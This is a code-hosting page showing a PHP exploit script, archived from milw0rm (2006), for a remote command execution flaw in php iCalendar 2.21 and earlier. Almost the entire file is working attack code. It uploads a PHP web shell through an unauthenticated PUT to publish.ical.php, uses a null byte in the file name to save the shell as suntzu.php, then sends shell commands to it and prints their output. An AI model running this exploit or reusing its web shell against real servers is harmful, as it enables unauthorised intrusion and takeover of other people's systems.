PageRenderTime 45ms CodeModel.GetById 30ms app.highlight 11ms RepoModel.GetById 1ms app.codeStats 0ms

/exploits/17129_0.php

https://github.com/B-Rich/osf_db
PHP | 148 lines | 123 code | 11 blank | 14 comment | 23 complexity | 2d50247e0d7e6b41a2b341389cb25b28 MD5 | raw file
  1#!/usr/bin/php -q -d short_open_tag=on
  2<?
  3echo "php iCalendar <=2.21 publish.ical.php remote cmmnds xctn\r\n";
  4echo "by rgod rgod<AT>autistici<DOT>org\r\n";
  5echo "site: http://retrogod.altervista.org\r\n";
  6echo "this works if \"phpicalendar_publishing\" is set to 1 in config.inc.php\r\n\r\n";
  7
  8# short explaination: phpICal lets users upload/delete files in WebDAV style
  9# through PUT / DELETE method; calendars/ folder by default is not protected
 10# by any authentication measure. Uploaded files have .ics extension but with
 11# a trick you can break filename through a null char to have a php file
 12# (this works always beacuse magic_quotes_gpc does not work with
 13# HTTP_RAW_POST data)
 14
 15if ($argc<3) {
 16echo "Usage: php ".$argv[0]." host path cmd OPTIONS\r\n";
 17echo "host:      target server (ip/hostname)\r\n";
 18echo "path:      path to phpICal\r\n";
 19echo "\r\n";
 20echo "cmd:       a shell command\r\n";
 21echo "Options:\r\n";
 22echo "   -p[port]:    specify a port other than 80\r\n";
 23echo "   -P[ip:port]: specify a proxy\r\n";
 24echo "Examples:\r\n";
 25echo "php ".$argv[0]." localhost /phpical/ ls -la\r\n";
 26die;
 27}
 28
 29error_reporting(0);
 30ini_set("max_execution_time",0);
 31ini_set("default_socket_timeout",5);
 32
 33function quick_dump($string)
 34{
 35  $result='';$exa='';$cont=0;
 36  for ($i=0; $i<=strlen($string)-1; $i++)
 37  {
 38   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
 39   {$result.="  .";}
 40   else
 41   {$result.="  ".$string[$i];}
 42   if (strlen(dechex(ord($string[$i])))==2)
 43   {$exa.=" ".dechex(ord($string[$i]));}
 44   else
 45   {$exa.=" 0".dechex(ord($string[$i]));}
 46   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
 47  }
 48 return $exa."\r\n".$result;
 49}
 50$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
 51function sendpacketii($packet)
 52{
 53  global $proxy, $host, $port, $html, $proxy_regex;
 54  if ($proxy=='') {
 55    $ock=fsockopen(gethostbyname($host),$port);
 56    if (!$ock) {
 57      echo 'No response from '.$host.':'.$port; die;
 58    }
 59  }
 60  else {
 61	$c = preg_match($proxy_regex,$proxy);
 62    if (!$c) {
 63      echo 'Not a valid proxy...';die;
 64    }
 65    $parts=explode(':',$proxy);
 66    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
 67    $ock=fsockopen($parts[0],$parts[1]);
 68    if (!$ock) {
 69      echo 'No response from proxy...';die;
 70	}
 71  }
 72  fputs($ock,$packet);
 73  if ($proxy=='') {
 74    $html='';
 75    while (!feof($ock)) {
 76      $html.=fgets($ock);
 77    }
 78  }
 79  else {
 80    $html='';
 81    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
 82      $html.=fread($ock,1);
 83    }
 84  }
 85  fclose($ock);
 86  #debug
 87  #echo "\r\n".$html;
 88}
 89
 90$host=$argv[1];
 91$path=$argv[2];
 92$cmd="";$port=80;$proxy="";
 93
 94for ($i=3; $i<=$argc-1; $i++){
 95$temp=$argv[$i][0].$argv[$i][1];
 96if (($temp<>"-p") and ($temp<>"-P"))
 97{$cmd.=" ".$argv[$i];}
 98if ($temp=="-p")
 99{
100  $port=str_replace("-p","",$argv[$i]);
101}
102if ($temp=="-P")
103{
104  $proxy=str_replace("-P","",$argv[$i]);
105}
106}
107$cmd=urlencode($cmd);
108if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
109if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
110
111$data="X-WR-CALNAME:suntzu.php".CHR(0x00)."F@kech4rs\n"; //one shot, kill fopen() & trim() php funcs
112$data.='
113<?php
114if (get_magic_quotes_gpc())
115{$_GET[cmd]=stripslashes($_GET[cmd]);}
116ini_set("max_execution_time",0);
117echo "Hi Master!";
118echo 666;
119passthru($_GET[cmd]);
120echo 666;
121?>
122';
123$packet ="PUT ".$p."calendars/publish.ical.php HTTP/1.0\r\n";
124$packet.="Host: ".$host."\r\n";
125$packet.="Content-Length: ".strlen($data)."\r\n";
126$packet.="Connection: Close\r\n\r\n";
127$packet.=$data;
128#debug, shows packets in a nice format
129#echo quick_dump($packet);
130sendpacketii($packet);
131
132sleep(1);
133
134$packet="GET ".$p."calendars/suntzu.php?cmd=".$cmd." HTTP/1.0\r\n";
135$packet.="Host: ".$host."\r\n";
136$packet.="Connection: Close\r\n\r\n";
137#debug
138#echo quick_dump($packet);
139sendpacketii($packet);
140if (strstr($html,"666")) {
141echo "Exploit succeeded...\r\n";
142$temp=explode("666",$html);
143echo $temp[1];}
144else {echo "Exploit failed...";}
145?>
146
147# milw0rm.com [2006-03-15]
148